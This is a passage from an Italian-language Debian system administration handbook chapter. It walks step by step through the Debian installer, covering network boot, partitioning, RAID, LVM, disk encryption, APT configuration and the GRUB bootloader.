Questo metodo di installazione funziona in due fasi. In primo luogo, durante l'avvio del computer, il BIOS (o la scheda di rete) manda una richiesta BOOTP/DHCP per acquisire automaticamente un indirizzo IP. Quando un server BOOTP o DHCP restituisce una risposta, include il nome di file e le impostazioni di rete. Dopo aver configurato la rete, il computer client invia la richiesta TFTP (Trivial File Transfer Protocol) per il file il cui nome è stato indicato in precedenza. Una volta che questo file viene acquisito, viene eseguito come se si trattasse di un bootloader. Questo lancia il programma di installazione di Debian, che viene eseguito come se fosse stato lanciato dal disco rigido, da un CD-ROM o da una chiavetta USB.

Tutti i dettagli di questo metodo sono disponibili nella guida d'installazione (sezione "Preparazione dei file per l'avvio TFTP da rete").

→ https://www.debian.org/releases/stable/amd64/ch05s01#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05

4.1.4. Altri metodi d'installazione

Quando si devono predisporre installazioni personalizzate per un gran numero di computer, in genere, si sceglie un sistema automatico piuttosto che un metodo di installazione manuale. A seconda della situazione e della complessità delle installazioni da realizzare, si può usare FAI (Fully Automatic Installer, descritto nella Sezione 12.3.1, «Fully Automatic Installer (FAI)»), o un DVD d'installazione personalizzato con la preconfigurazione (vedere la Sezione 12.3.2, «Preimpostare Debian-Installer»).

Non dimentichiamo che l'installatore è in grado di fornire un server SSH dandoci la possibilità di installare Debian da remoto tramite una sessione SSH. Le note di rilascio descrivono anche come eseguire l'installatore da un sistema esistente usando grub per sostituirlo completamente.

4.2. Installazione, passo passo

4.2.1. Avviare e eseguire il programma d'installazione

Una volta che il BIOS ha iniziato la fase di avvio dal CD o DVD-ROM, compare il menu del bootloader Isolinux. In questa fase, il kernel Linux non è ancora caricato, questo menu consente di scegliere il kernel da avviare e inserire i parametri che è possibile passargli.

Per un'installazione standard, è sufficiente scegliere "Install" o "Graphical install" (utilizzando le frecce), quindi premere il tasto Invio per avviare il processo. Se il DVD-ROM è un disco "multi-architettura" e la macchina ha un processore Intel o AMD a 64 bit, le opzioni del menu d'installazione abilitano l'installazione della variante a 64-bit (amd64) e l'installazione della variante a 32-bit rimane disponibile in un sotto menu dedicato ("opzioni di installazione a 32-bit"). Se si dispone di un processore a 32 bit, non si ottiene una scelta e le voci di menu installano la variante a 32-bit (i386).

APPROFONDIMENTO 32 o 64 bit?

La differenza fondamentale tra i sistemi a 32- e 64-bit è la dimensione degli indirizzi di memoria. In teoria, un sistema a 32-bit non può lavorare con più di 4 GB di RAM (2³² byte). In pratica, è possibile aggirare questa limitazione utilizzando la variante del kernel 686-pae, fintanto che il processore gestisce il PAE (Physical Address Extension). Utilizzarlo, tuttavia, ha una notevole influenza sulle prestazioni del sistema. Per questo motivo è utile utilizzare la modalità a 64-bit su un server con una grande quantità di RAM.

Per un computer da ufficio (dove una differenza di pochi punti percentuali in termini di prestazioni è trascurabile), è necessario tenere presente che alcuni programmi proprietari non sono disponibili in versioni a 64-bit. È tecnicamente possibile farli funzionare su sistemi a 64-bit, ma è necessario installare le versioni a 32-bit di tutte le librerie necessarie (vedere Sezione 5.4.5, «Supporto Multi-Arch»), ed a volte è necessario utilizzare i comandi setarch o linux32 (dal pacchetto util-linux) per ingannare le applicazioni circa l'architettura del sistema.

IN PRATICA Installazione affiancando un sistema Windows già esistente

Se nel computer è già presente Windows, non è necessario eliminare il sistema per installare Debian. Si possono avere entrambi i sistemi contemporaneamente, ognuno installato su un disco o su una partizione differente, e scegliere quale far partire quando si avvia il computer. Questa configurazione è spesso chiamata "dual boot" e il sistema di installazione di Debian può configurare quest'opzione. Questa operazione viene eseguita durante la fase di partizionamento del disco rigido e durante la configurazione del bootloader (vedi i riquadri IN PRATICA Riduzione di una partizione Windows and ATTENZIONE Bootloader e dual boot).

Se si ha già un sistema Windows funzionante, si può anche fare a meno del CD-ROM; Debian fornisce un programma Windows che scarica un programma d'installazione di Debian leggero e lo configura sul disco rigido. In questo modo è sufficiente riavviare il computer e scegliere tra il normale avvio di Windows o l'avvio del programma di installazione. È inoltre possibile trovarlo su un sito web dedicato con un nome piuttosto esplicito…

→ https://deb.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

FONDAMENTALE Bootloader

Il bootloader è un programma a basso livello che è responsabile dell'avvio del kernel Linux, subito dopo che il BIOS gli ha ceduto il controllo. Per adempiere a questo compito, deve essere in grado di individuare sul disco il kernel Linux per l'avvio. Sulle architetture i386 e amd64, i due programmi più utilizzati per eseguire questa operazione sono LILO, il più vecchio dei due, e GRUB, la soluzione più moderna che lo sostituisce. Isolinux e Syslinux sono alternative utilizzate frequentemente per l'avvio da supporti rimovibili.

Ogni voce di menu nasconde una specifica riga di comando di avvio, che può essere configurata in base alle esigenze premendo il tasto TAB prima di convalidare l'avvio. La voce del menu "Help" visualizza la vecchia interfaccia a riga di comando, dove i tasti da F1 a F10 visualizzano diverse schermate di aiuto, andando nel dettaglio delle varie opzioni disponibili al prompt. Si avrà raramente la necessità di utilizzare queste opzioni, se non in casi molto specifici.

La modalità "expert" (accessibile dal menu "Advanced options") abilita, nel dettaglio, tutte le opzioni possibili nel processo d'installazione e consente di spostarsi tra le varie fasi senza che vengano obbligatoriamente eseguite in sequenza. Attenzione, questa modalità molto dettagliata può essere fonte di confusione a causa della moltitudine di opzioni di configurazione che offre.

La modalità "rescue", accessibile dal menù "Opzioni Avanzate", permette di recuperare un sistema danneggiato o riparare il bootloader. Dopo aver visualizzato le prime schermate dell'installatore, permetterà di avviare una shell nel filesystem selezionato per eseguire le azione necessarie, oppure permetterà di reinstallare il bootloader.

→ https://www.debian.org/releases/stable/amd64/ch08s06.en.html

Figura 4.1. Schermata di avvio

Una volta avviato, il programma d'installazione ti guida passo dopo passo lungo tutto il processo. Questa sezione presenta ognuna di queste fasi nel dettaglio. Qui viene seguito il processo di installazione da un DVD-ROM per amd64 (nello specifico, la versione RC3 del programma di installazione per Bullseye); installazioni con netinst, come la versione finale del programma di installazione, potrebbero essere leggermente diverse. Affronteremo anche l'installazione in modalità grafica, ma questa si differenzia dall'installazione "classica" (modalità testo) solo nell'aspetto.

4.2.2. Selezione della lingua

Il programma d'installazione utilizza inizialmente la lingua inglese, ma il primo passo è quello che permette all'utente di scegliere la lingua che verrà utilizzata nel resto del processo. Scegliendo il francese, per esempio, si avrà l'intero processo di installazione interamente tradotto in francese (e un sistema configurato in francese come risultato). Questa scelta è utilizzata anche per definire scelte predefinite più rilevanti nelle fasi successive (in particolare la mappatura della tastiera).

FONDAMENTALE Navigazione con la tastiera

Alcuni passaggi del processo d'installazione richiedono l'immissione di informazioni. Queste schermate hanno diverse aree che possono "avere il focus" (aree di inserimento testo, caselle di selezione, elenchi di opzioni, pulsanti OK e Annulla) ed il tasto TAB consente di muoversi tra di esse.

Nella modalità grafica, è possibile utilizzare il mouse, come si farebbe normalmente su un ambiente desktop grafico installato.

Figura 4.2. Selezione della lingua

4.2.3. Selezione della nazione

Il secondo passo consiste nella scelta del paese. Insieme alla lingua, questa informazione consente al programma di proporre la mappatura della tastiera più indicata. Questo influenzerà anche la configurazione del fuso orario. Negli Stati Uniti, viene suggerita una tastiera QWERTY standard e una lista di fusi orari appropriati.

Figura 4.3. Selezione della nazione

4.2.4. Selezione della mappatura della tastiera

La tastiera suggerita "Inglese (Stati Uniti)" corrisponde alla mappatura QWERTY.

Figura 4.4. Scelta della tastiera

4.2.5. Rilevamento hardware

Questo passaggio, nella stragrande maggioranza dei casi, è completamente automatico. Il programma d'installazione rileva l'hardware, e cerca di identificare il lettore CD-ROM utilizzato per accedere ai suoi contenuti. Carica i moduli corrispondenti ai vari componenti hardware rilevati, e poi "monta" il CD-ROM per leggerlo. I passaggi precedenti sono completamente contenuti nell'immagine di avvio inclusa nel CD, un file di dimensione limitata caricato in memoria dal BIOS durante l'avvio dal CD.

Il programma d'installazione funziona con la maggior parte delle unità, soprattutto periferiche standard ATAPI (a volte chiamate IDE e EIDE). Tuttavia, se non dovesse funzionare il rilevamento del lettore CD-ROM, il programma d'installazione offre la possibilità di caricare un modulo del kernel (per esempio, da una chiavetta USB) corrispondente al driver del CD-ROM.

4.2.6. Caricamento dei componenti

Ora che il contenuto del CD è disponibile, il programma di installazione carica tutti i file necessari per continuare il suo lavoro. Questo comprende i driver aggiuntivi per l'hardware rimanente (in particolare la scheda di rete), nonché tutti i componenti del programma di installazione.

4.2.7. Rilevamento dell'hardware di rete

Questo passaggio automatico tenta di individuare la scheda di rete e caricare il modulo corrispondente. Se il rilevamento automatico non riesce, è possibile selezionare manualmente il modulo da caricare. Se non funziona nessun modulo, è possibile caricare un modulo specifico da un dispositivo rimovibile. Quest'ultima soluzione di solito è necessaria solo se il driver appropriato non è incluso nel kernel standard di Linux, ma disponibile altrove, come sul sito web del produttore o in archivi/pacchetti di firmware.

→ https://www.debian.org/devel/debian-installer/#firmware_nonfree

Per le installazioni netinst, questo passaggio deve essere obbligatoriamente concluso con successo, dato che i pacchetti Debian devono essere scaricati dalla rete.

4.2.8. Configurazione della rete

Il programma d'installazione cerca di automatizzare il più possibile l'intero processo d'installazione, quindi tenta una configurazione automatica della rete tramite DHCP (per IPv4) e IPv6 network discovery. Se non funziona, vengono proposte più scelte: provare di nuovo con la configurazione DHCP normale, provare con DHCP dichiarando il nome della macchina, oppure impostare una configurazione statica della rete.

Quest'ultima opzione richiede un indirizzo IP, una maschera di sottorete, un indirizzo IP per un possibile gateway, il nome della macchina e un nome di dominio.

SUGGERIMENTO Configurazione senza DHCP

Se la rete locale è dotata di un server DHCP che non si desidera utilizzare, perché si preferisce definire un indirizzo IP statico per la macchina durante l'installazione, è possibile aggiungere l'opzione netcfg/use_dhcp=false all'avvio del supporto d'installazione. Basta andare nella voce di menu desiderata premendo il tasto TAB ed aggiungere l'opzione desiderata prima di premere il tasto Invio.

ATTENZIONE Non si improvvisi

Molte reti locali si basano sul presupposto che ci si può fidare di tutte le macchine collegate, in questo modo una configurazione inadeguata di un singolo computer spesso può disturbare l'intera rete. È consigliato quindi consultarsi con l'amministratore di rete per la configurazione corretta (ad esempio, l'indirizzo IP, la maschera di rete e l'indirizzo di broadcast) prima di collegare qualsiasi macchina alla rete.

4.2.9. Password dell'amministratore

L'account del super-utente root, riservato all'amministratore della macchina, è creato automaticamente durante l'installazione; questo è il motivo per cui viene richiesta una password. Il programma di installazione chiede anche una conferma della password per evitare qualsiasi errore di immissione che, in seguito, sarebbe difficile correggere. Nota che puoi lasciare entrambi i campi vuoti se vuoi disabilitare l'account root. In tal caso, il login per l'utente root sarà disattivato ed il primo utente regolare — che verrà creato nel passaggio successivo dell'installazione — avrà i diritti di amministratore tramite sudo (vedere Sezione 8.9.4, «Condivisione dei privilegi di amministrazione»).

SICUREZZA Password dell'amministratore

La password dell'utente root deve essere lunga (almeno 12 caratteri) e impossibile da indovinare. Infatti, qualsiasi computer (ed a maggior ragione i server) connesso ad Internet è regolarmente bersagliato da tentativi automatici di connessione con le password più comuni. A volte può anche essere soggetto ad attacchi con dizionario, in cui vengono provate password con molte combinazioni di parole e numeri. È buona norma evitare di utilizzare nomi di familiari, date di nascita, ecc.: molti dei vostri colleghi potrebbero esserne a conoscenza e raramente si vuole dar loro libero accesso al computer in argomento.

Queste considerazioni valgono anche per le password degli altri utenti, ma le conseguenze di un account compromesso sono meno pesanti per gli utenti senza diritti di amministrazione.

Se non si è ispirati, si possono utilizzare i generatori di password, come ad esempio pwgen (nel pacchetto con lo stesso nome).

Figura 4.5. Password dell'amministratore

4.2.10. Creazione del primo utente

Debian impone la creazione di un account utente standard in modo che l'amministratore non prenda la cattiva abitudine di lavorare come root. Questa precauzione limita i danni causati dall'errore umano, in quanto tutte le attività vengono eseguite con il minimo dei diritti richiesti. Per questo motivo il programma d'installazione chiederà il nome completo di questo primo utente, il nome utente e la password (due volte, per evitare gli errori di battitura).

Figura 4.6. Nome del primo utente

4.2.11. Configurazione dell'orologio

Se la rete è disponibile, l'orologio interno del sistema sarà aggiornato (solo la prima volta) da un server NTP. In questo modo l'ora dei log sarà corretta dal primo avvio. Se si vuole rimanere costantemente con un orario sincronizzato, deve essere impostato un demone NTP dopo l'installazione iniziale (vedere la Sezione 8.9.2, «Sincronizzazione del tempo»).

4.2.12. Rilevamento dei dischi e degli altri dispositivi

Questo passaggio rileva automaticamente i dischi rigidi sui quali può essere installata Debian. Questo verrà trattato nel prossimo passaggio: il partizionamento.

4.2.13. Avviare lo strumento di partizionamento

CULTURA Utilizzo del partizionamento

Il partizionamento è un passaggio fondamentale dell'installazione e consiste nel dividere lo spazio disponibile sul disco rigido (ognuna di queste suddivisioni viene chiamata "partizione") a seconda dei dati che devono essere memorizzati e dall'uso a cui è destinato il computer. Questa fase include anche la scelta dei file system da utilizzare. Tutte queste decisioni influenzeranno le prestazioni, la sicurezza dei dati e più in generale l'amministrazione del server.

La fase di partizionamento è di norma un po' ostica per i nuovi utenti. È infatti necessario definire le varie porzioni dei dischi (o "partizioni") su cui verranno memorizzati i file system Linux e la memoria virtuale (swap). Questo compito è complicato se è già presente un altro sistema operativo che si desidera mantenere. Si dovrà fare attenzione a non modificare le sue partizioni (o di ridimensionarle senza causare danni).

Fortunatamente, il programma di partizionamento dispone di una modalità "guidata", che consiglia le partizioni da fare; nella maggior parte dei casi, si può semplicemente accettare i suggerimenti del programma.

Figura 4.7. Scelta della modalità di partizionamento

La prima schermata del programma di partizionamento propone di utilizzare un intero disco rigido per creare varie partizioni. Per un (nuovo) computer che utilizzerà esclusivamente Linux, questa opzione è chiaramente la più semplice, e si può scegliere l'opzione "Guidato - usa l'intero disco". Se il computer dispone di due dischi rigidi per due sistemi operativi, la soluzione di partizionamento più semplice è quella di assegnare un disco ad ogni sistema operativo. In entrambi i casi, la schermata successiva propone di scegliere il disco in cui installare Linux selezionando la voce corrispondente (ad esempio, "SCSI1 (0,0,0) (sda) - 53.7 GB ATA QEMU HARDDISK"). A seguire, inizierà il partizionamento guidato.

Figura 4.8. Disco da utilizzare per il partizionamento guidato

Con il partizionamento guidato è possibile impostare anche i volumi logici LVM invece delle partizioni (vedere sotto). Dato che il resto dell'operazione è identico, non verrà descritta (in dettaglio) l'opzione "Guidato - usa l'intero disco e imposta LVM" (cifrato o no).

In altri casi, quando Linux deve funzionare insieme ad altre partizioni già esistenti, è necessario scegliere il partizionamento manuale.

4.2.13.1. Partizionamento guidato

Il programma di partizionamento guidato offre tre metodi di partizionamento, che corrispondono a utilizzi diversi.

Figura 4.9. Partizionamento guidato

Il primo metodo si chiama "Tutti i file in una partizione". L'intero albero del sistema Linux è memorizzato in un singolo file system, corrispondente alla directory radice /. Questo partizionamento semplice e robusto si adatta perfettamente per i sistemi personali o a singolo utente. Per la verità, verranno create due partizioni: la prima ospiterà l'intero sistema, la seconda la memoria virtuale (swap).

Il secondo metodo, "Partizione /home separata", è simile al primo, ma divide in due la gerarchia dei file: la prima partizione conterrà il sistema Linux (/), la seconda le "directory home" (ovvero i dati dell'utente, file e sottodirectory in /home/).

L'ultimo metodo di partizionamento, "Partizioni /home, /var e /tmp separate", è adatto per i server e per i sistemi multi utente. Divide la gerarchia dei file in molte partizioni: oltre alla partizione radice (/) e alla partizione dedicata agli account utente (/home/), ha anche partizioni per i dati di programmi server (/var/) e per i file temporanei (/tmp/). Queste divisioni hanno diversi vantaggi. Ad esempio, gli utenti non posso bloccare il server riempiendo tutto lo spazio disponibile nel disco (possono solo riempire le directory /tmp/ e /home/). I dati dei demoni (specialmente i log) non possono intasare il resto del sistema.

FONDAMENTALE Scelta del file system

Un file system definisce il modo in cui i dati sono organizzati nel disco rigido. Ogni file system esistente ha pregi e difetti. Alcuni sono più robusti, altri più efficienti: se si conoscono bene le proprie esigenze, è possibile scegliere il file system più appropriato. Sono stati fatti diversi confronti e sembra che ReiserFS sia particolarmente efficiente per la lettura di molti file di piccole dimensioni; XFS, invece, lavora più velocemente con i file di grandi dimensioni. Ext4 è il file system predefinito di Debian ed è un buon compromesso, basato sulle tre precedenti versioni dei file system storicamente usati su Linux (ext ext2 ed ext3). Ext4 supera certe limitazioni di ext3 ed è particolarmente indicato per i dischi molto grandi. Un'altra opzione potrebbe essere sperimentare il molto promettente btrfs, che include molte delle funzionalità che, al momento, richiedono l'uso di LVM e/o RAID.

Un file system "journaling" (come ad esempio ext3, ext4, btrfs, reiserfs o xfs) prevede accorgimenti speciali per permettere di ritornare ad uno stato precedente coerente, dopo una brusca interruzione, senza un'analisi completa dell'intero disco (come succedeva per ext2). Questa funzionalità viene realizzata compilando un diario ("journal") che descrive le operazioni da fare prima di eseguirle effettivamente. In questo modo se un'operazione viene interrotta, sarà possibile riprenderla dal diario. Se invece si verifica un'interruzione durante l'aggiornamento del diario l'ultima modifica richiesta viene semplicemente ignorata, i dati scritti potrebbero essere persi, ma dal momento che i dati sul disco non sono cambiati, rimangono coerenti. Si tratta di un meccanismo transazionale applicato al file system.

Dopo aver scelto il tipo di partizione, il programma propone un suggerimento e lo mostra sullo schermo, l'utente può modificarlo se necessario. In particolare è possibile scegliere un altro file system se la scelta standard (ext4) non è appropriata. Nella maggior parte dei casi il partizionamento proposto è la scelta più ragionevole e può essere accettata selezionando l'opzione "Terminare il partizionamento e scrivere i cambiamenti sul disco".

Figura 4.10. Convalida del partizionamento

4.2.13.2. Partizionamento manuale

Il partizionamento manuale permette una maggiore flessibilità, consentendo all'utente di scegliere lo scopo e la dimensione di ogni partizione. Inoltre, questa modalità è l'unica strada se si vuole utilizzare il RAID software.

IN PRATICA Riduzione di una partizione Windows

Per installare Debian insieme ad un altro sistema operativo (Windows o altro), è necessario disporre di spazio su disco, non utilizzato da un altro sistema, per poter creare le partizioni dedicate a Debian. Nella maggior parte dei casi, questo significa ridurre la partizione di Windows e riutilizzare lo spazio liberato.

Il programma di installazione di Debian permette questa operazione quando si utilizza la modalità per il partizionamento manuale. È necessario solamente scegliere la partizione di Windows e inserire la sua nuova dimensione (funziona sia con partizioni FAT che NTFS non crittografate).

Se Windows utilizza partizioni crittografate con BitLocker, la procedura per ridimensionarle richiede l'utilizzo di Gestione BitLocker insieme allo strumento Gestione disco di Windows.

La prima schermata visualizza i dischi disponibili, le loro partizioni e lo spazio libero che non è stato ancora partizionato. È possibile selezionare ogni elemento visualizzato, premendo il tasto Invio verrà presentato un elenco di azioni possibili.

È possibile cancellare tutte le partizioni su un disco selezionandolo.

Quando si seleziona dello spazio libero su disco, è possibile creare manualmente una nuova partizione. È possibile farlo anche utilizzando il partizionamento guidato, che è una soluzione interessante per un disco che contiene già un altro sistema operativo, ma che si vorrebbe partizionare per Linux in maniera standard. Vedere Sezione 4.2.13.1, «Partizionamento guidato» per avere più informazioni sul partizionamento guidato.

Figura 4.11. Modifica/creazione di una partizione

FONDAMENTALE Punto di montaggio

Il punto di montaggio è l'albero delle directory che ospiterà il contenuto del file system della partizione selezionata. Così, una partizione montata in /home/ è tradizionalmente adibita a contenere i dati utente.

Quando la directory è "/", viene indicata come la root della struttura e quindi la radice della partizione che ospiterà il sistema Debian.

FONDAMENTALE Memoria virtuale, swap

La memoria virtuale permette al kernel di Linux di liberare un po' di memoria (RAM) quando non ne è disponibile abbastanza, salvando le parti della RAM che sono rimaste inattive per un certo periodo nella partizione di swap del disco rigido. È fondamentale per le funzionalità di "Sospensione" e "Ibernazione" di un sistema.

Per simulare la memoria aggiuntiva, Windows utilizza un file di swap che è contenuto direttamente nel file system. Al contrario, Linux utilizza una partizione dedicata a questo scopo, da qui il termine "partizione di swap". Tuttavia, è anche in grado di utilizzare un file di swap.

Quando si sceglie una partizione, è possibile indicare il modo in cui si ha intenzione utilizzarla:

formattarla e includerla nella struttura ad albero dei file scegliendo un punto di montaggio;

usarla come partizione di swap;

utilizzarla come "volume fisico per la cifratura" (per proteggere la riservatezza dei dati in alcune partizioni, vedere sotto);

utilizzarla come "volume fisico per LVM" (questo concetto sarà discusso in dettaglio più avanti in questo capitolo);

usarla come un dispositivo RAID (vedere più avanti in questo capitolo);

puoi anche scegliere di non utilizzarla, e quindi lasciarla inalterata.

4.2.13.3. Configurazione di dispositivi multi-disco (RAID software)

Alcuni tipi di RAID permettono la duplicazione delle informazioni memorizzate sui dischi rigidi per prevenire la perdita dei dati nel caso che uno dei dischi abbia un problema hardware. Il RAID livello 1 mantiene una copia identica (mirror) di un disco rigido su un altro dispositivo, mentre il RAID livello 5 o 6 divide i dati ridondandoli su più dischi, permettendo così la completa ricostruzione di un'unità malfunzionante.

Verrà descritto solo il RAID livello 1, che è il più semplice da implementare. Il primo passo consiste nel creare, in due dischi diversi, due partizioni di dimensioni identiche e di etichettarle come "volume fisico per RAID".

Per combinare queste due partizioni in un nuovo disco virtuale è necessario scegliere "Configurare il software RAID" nel programma di partizionamento e selezionare "Creare un dispositivo MD" nella schermata di configurazione. Sarà necessario rispondere ad una serie di domande su questo nuovo dispositivo. La prima domanda riguarda il livello RAID da utilizzare, che in questo caso sarà "RAID1". La seconda domanda chiede il numero di dispositivi attivi — due nel nostro caso, ovvero il numero di partizioni che deve essere incluso in questo dispositivo MD. La terza domanda riguarda il numero di dispositivi di ricambio — 0; dato che abbiamo previsto alcun disco aggiuntivo per rimpiazzare un possibile disco difettoso. L'ultima domanda chiede di scegliere le partizioni per il dispositivo RAID — queste sarebbero le due che abbiamo messo da parte per questo scopo (bisogna assicurarsi di selezionare solo le partizioni che riportano esplicitamente "raid").

Tornando al menu principale, comparirà un nuovo disco virtuale "RAID". Questo disco viene presentato con una singola partizione che non può essere eliminata, ma che può essere modificata (come per qualsiasi altra partizione).

Per ulteriori informazioni sulle funzionalità RAID, si faccia riferimento alla Sezione 12.1.1, «RAID software».

4.2.13.4. Configurazione del Logical Volume Manager (LVM)

LVM permette di creare partizioni "virtuali" che si possono estendere su più dischi. Questo comporta un duplice vantaggio: la dimensione delle partizioni non è più limitata dalla dimensione dei singoli dischi, ma dal loro volume cumulativo, ed è possibile ridimensionare, in qualsiasi momento, la dimensione di una partizione esistente con l'aggiunta di un altro disco quando necessario.

LVM utilizza una terminologia particolare: una partizione virtuale è un "volume logico", che fa parte di un "gruppo di volumi" o di un insieme di diversi "volumi fisici". Ciascuno di questi termini, infatti, corrisponde a una partizione "reale" (o un dispositivo RAID software).

Questa tecnica funziona in modo molto semplice: ogni volume, sia esso fisico o logico, è suddiviso in blocchi della stessa dimensione, che sono assegnati da LVM. L'aggiunta di un nuovo disco crea un nuovo volume fisico, questi nuovi blocchi possono essere associati ad un qualsiasi gruppo di volumi. In questo modo, tutte le partizioni del gruppo di volumi che è stato ampliato avranno dello spazio aggiuntivo su cui potersi estendere.

Il programma di partizionamento consente di configurare LVM in più fasi. In primo luogo è necessario creare sui dischi esistenti le partizioni che saranno "volumi fisici per LVM". Per attivare LVM, è necessario scegliere "Configurare il Logical Volume Manager (LVM)", quindi nella stessa schermata di configurazione "Creare gruppi di volumi", a cui associare i volumi fisici esistenti. Infine, è possibile creare dei volumi logici all'interno di questo gruppo di volumi. Si noti che il sistema di partizionamento automatico è in grado di automatizzare tutta questa fase.

Nel menu di partizionamento, ogni volume fisico apparirà come un disco con un'unica partizione che non può essere eliminata, ma può essere modificata a piacimento.

L'uso di LVM è descritto in modo più dettagliato nella Sezione 12.1.2, «LVM».

4.2.13.5. Configurazione di partizioni cifrate

Per garantire la riservatezza dei dati, ad esempio nel caso di perdita o furto del computer o di un disco rigido, è possibile cifrare i dati in alcune partizioni. Questa funzionalità può essere usata con qualsiasi file system, dal momento che, come per LVM, Linux (e più in particolare il driver dm-crypt) usa il Device Mapper per creare una partizione virtuale (il cui contenuto sarà protetto) basata su una partizione sottostante in cui verranno memorizzati i dati in forma cifrata (grazie a LUKS, Linux Unified Key Setup, un formato standard che consente l'archiviazione di dati cifrati, nonché meta-dati che indicano gli algoritmi di cifratura utilizzati).

SICUREZZA Partizione di swap cifrata

Quando viene utilizzata una partizione cifrata, la chiave di cifratura viene salvata nella memoria (RAM). Dato che questa chiave permette di decodificare i dati, è estremamente importante evitare di lasciare una copia di questa chiave che sarebbe accessibile ad un possibile ladro del computer, del disco rigido o ad un tecnico per la manutenzione. Questa situazione però si può facilmente verificare con un computer portatile, dato che quando si manda in sospensione o ibernazione, il contenuto della RAM viene memorizzato nella partizione di swap. Se questa partizione non è cifrata, il ladro può accedere alla chiave e utilizzarla per decifrare i dati dalle partizioni cifrate. Per questo motivo, quando si utilizzano partizioni cifrate, è estremamente importante cifrare anche la partizione di swap!

Il programma d'installazione di Debian avvisa l'utente se prova a fare una partizione cifrata, senza cifrare quella di swap.

Per creare una partizione cifrata, è necessario assegnarne una libera per questo scopo. Basta selezionare una partizione e indicare che deve essere utilizzata come "volume fisico per la cifratura". Dopo aver partizionato il disco contenente il volume fisico da creare, scegliere "Configurare volumi cifrati". Il programma proporrà di inizializzare il volume fisico con dei dati casuali (rendendo più difficile la localizzazione dei dati reali), e chiederà di inserire una "passphrase per la cifratura", che dovrà essere inserita ogni volta che si avvia il computer, per accedere al contenuto della partizione cifrata. Una volta completata questa fase, e tornati al menu del programma di partizionamento, sarà disponibile una nuova partizione in "Volume cifrato", che sarà configurabile come qualsiasi altra partizione. Nella maggior parte dei casi, questa partizione è usata come volume fisico per LVM, in modo da proteggere più partizioni (i volumi logici LVM) con la stessa chiave crittografica, inclusa la partizione di swap (vedi riquadro SICUREZZA Partizione di swap cifrata).

4.2.14. Installazione del sistema di base

Questo passaggio installa i pacchetti Debian del "sistema di base" e non richiede alcuna interazione da parte dell'utente. Ciò include i programmi dpkg e apt, che gestiscono i pacchetti Debian, così come i programmi necessari per avviare il sistema e iniziare ad usarlo.

Figura 4.12. Installazione del sistema di base

4.2.15. Configurazione del gestore dei pacchetti (apt)

Per poter installare del software aggiuntivo, è necessario configurare APT in modo che sappia dove poter reperire i pacchetti Debian. Questo passaggio è automatizzato il più possibile.

NOTA Il CD-ROM di Debian nel lettore

Se il programma d'installazione rileva un disco di Debian nel lettore CD/DVD, non è necessario configurare APT in modo che cerchi i pacchetti in rete: APT è configurato automaticamente per recuperare i pacchetti da sopporti rimovibili. Se il disco fa parte di una collezione, il programma chiederà di "esplorare" gli altri dischi per indicizzare tutti i pacchetti contenuti nell'intera collezione di CD/DVD.

Se è necessario recuperare dei pacchetti dalla rete, il programma di installazione permetterà di scegliere il server da cui scaricare i pacchetti, selezionando successivamente una nazione ed un mirror disponibile in quel paese. Un mirror, è un server pubblico che ospita le copie di tutti i file presenti nell'archivio master di Debian.

Figura 4.13. Selezionare un mirror di Debian

Infine, il programma propone di utilizzare un proxy HTTP. Se non è presente un proxy, verrà utilizzato l'accesso diretto a Internet. Se si inserisce http://proxy.falcot.com:3128, APT utilizzerà il proxy/cache, fornito da "Squid", della società Falcot. È possibile trovare questi parametri, controllando le impostazioni del browser web in un altro computer connesso alla stessa rete.

I file Packages.xz e Sources.xz verranno scaricati automaticamente, per aggiornare l'elenco dei pacchetti riconosciuti da APT.

FONDAMENTALE Proxy HTTP

Un proxy HTTP è un server che inoltra le richieste HTTP effettuate dagli utenti della rete. A volte aiuta a velocizzare lo scaricamento, tenendo una copia dei file che sono stati già scaricati (questo tipo di proxy è chiamato proxy/cache). In alcuni casi, è l'unico mezzo per accedere ad un web server esterno; in questi casi è indispensabile rispondere correttamente alla domanda posta durante l'installazione, in modo da poter scaricare i pacchetti Debian attraverso il proxy.

Squid è il nome del programma server utilizzato da Falcot per offrire questo servizio.

4.2.16. Concorso Popolarità Pacchetti Debian

Debian contiene il pacchetto popularity-contest, che ha lo scopo di compilare le statistiche di utilizzo dei vari pacchetti. Ogni settimana il programma raccoglie le informazioni sui pacchetti installati e quelli utilizzati di recente, e invia queste informazioni in forma anonima ai server del progetto Debian. Il progetto può quindi utilizzare queste informazioni per determinare l'importanza relativa di ogni pacchetto, che influenzerà la priorità che gli verrà assegnata. In particolare, i pacchetti più "popolari" verranno inclusi nel CD-ROM d'installazione, questo darà la possibilità a molti utenti di non dover scaricare o acquistare il set completo, per trovare i loro programmi preferiti.

Per rispettare la privacy degli utenti, questo pacchetto verrà attivato solo su richiesta.

4.2.17. Scelta dei pacchetti per l'installazione

Il passo successivo permette di scegliere, in maniera generica, le finalità della macchina; vengono suggerite dodici attività corrispondenti ad elenchi di pacchetti da installare. L'elenco dei pacchetti che saranno effettivamente installati, sarà perfezionato e completato in seguito. Questo passaggio permette di avere, in modo semplice, un buon punto di partenza nella selezione dei programmi.

Questo passaggio può richiedere un set completo di supporti per l'installazione od una connessione a internet ed un mirror funzionante, configurato come descritto sopra.

Alcuni pacchetti sono installati automaticamente a seconda dell'hardware rilevato (grazie al programma discover-pkginstall del pacchetto discover).

Figura 4.14. Scelta delle attività

4.2.18. Installazione del bootloader GRUB

Il bootloader è il primo programma avviato dal BIOS. Questo programma carica in memoria il kernel di Linux e lo esegue. Spesso consente all'utente, tramite menu, di scegliere il kernel da caricare o il sistema operativo da avviare.

ATTENZIONE Bootloader e dual boot

Questa fase del processo dell'installazione di Debian rileva i sistemi operativi già installati nel computer, e aggiunge automaticamente le voci corrispondenti nel menu di avvio. Si tenga presente, però, che non tutti i programmi d'installazione si comportano in questo modo.

In particolare, se si installa (o reinstalla) Windows, il precedente bootloader verrà eliminato. Debian rimarrà installata sul disco, ma non sarà più accessibile dal menu d'avvio (ad eccezione di Windows 10, che sarà ancora accessibile tramite la console di ripristino di Windows). Sarà quindi necessario avviare il programma d'installazione Debian in modalità ripristino per impostare un bootloader meno limitato. Questa operazione è descritta nel dettaglio nel manuale d'installazione.

→ https://www.debian.org/releases/stable/amd64/ch08s06

